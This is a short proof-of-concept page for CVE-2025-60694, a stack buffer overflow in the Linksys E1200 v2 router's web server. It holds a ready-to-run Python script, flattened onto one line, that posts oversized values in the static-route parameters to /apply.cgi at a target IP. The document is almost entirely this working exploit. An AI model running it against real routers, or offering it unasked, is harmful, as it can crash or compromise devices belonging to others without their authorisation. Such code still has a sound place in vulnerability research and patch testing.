CVE-2025-60694 Linksys E1200 v2路由器httpd栈缓冲区溢出漏洞

import socket import struct def exploit_cve_2025_60694(target_ip, target_port=80): """ PoC for CVE-2025-60694: Linksys E1200 v2 validate_static_route buffer overflow This PoC demonstrates sending an oversized payload to trigger the overflow. """ # Generate overflow payload (exceeds fixed buffer size) overflow_string = 'A' * 1024 # Payload exceeding buffer boundaries # Construct HTTP POST request with malicious CGI parameters post_data = ( f"route_ipaddr_0={overflow_string}&" f"route_netmask_0={overflow_string}&" f"route_gateway_0={overflow_string}" ) http_request = ( f"POST /apply.cgi HTTP/1.1\r\n" f"Host: {target_ip}\r\n" f"Content-Type: application/x-www-form-urlencoded\r\n" f"Content-Length: {len(post_data)}\r\n" f"\r\n" f"{post_data}" ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(http_request.encode()) response = sock.recv(4096) print(f"[+] Request sent to {target_ip}:{target_port}") print(f"[+] Payload length: {len(overflow_string)}") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = "192.168.1.1" # Replace with target router IP exploit_cve_2025_60694(target)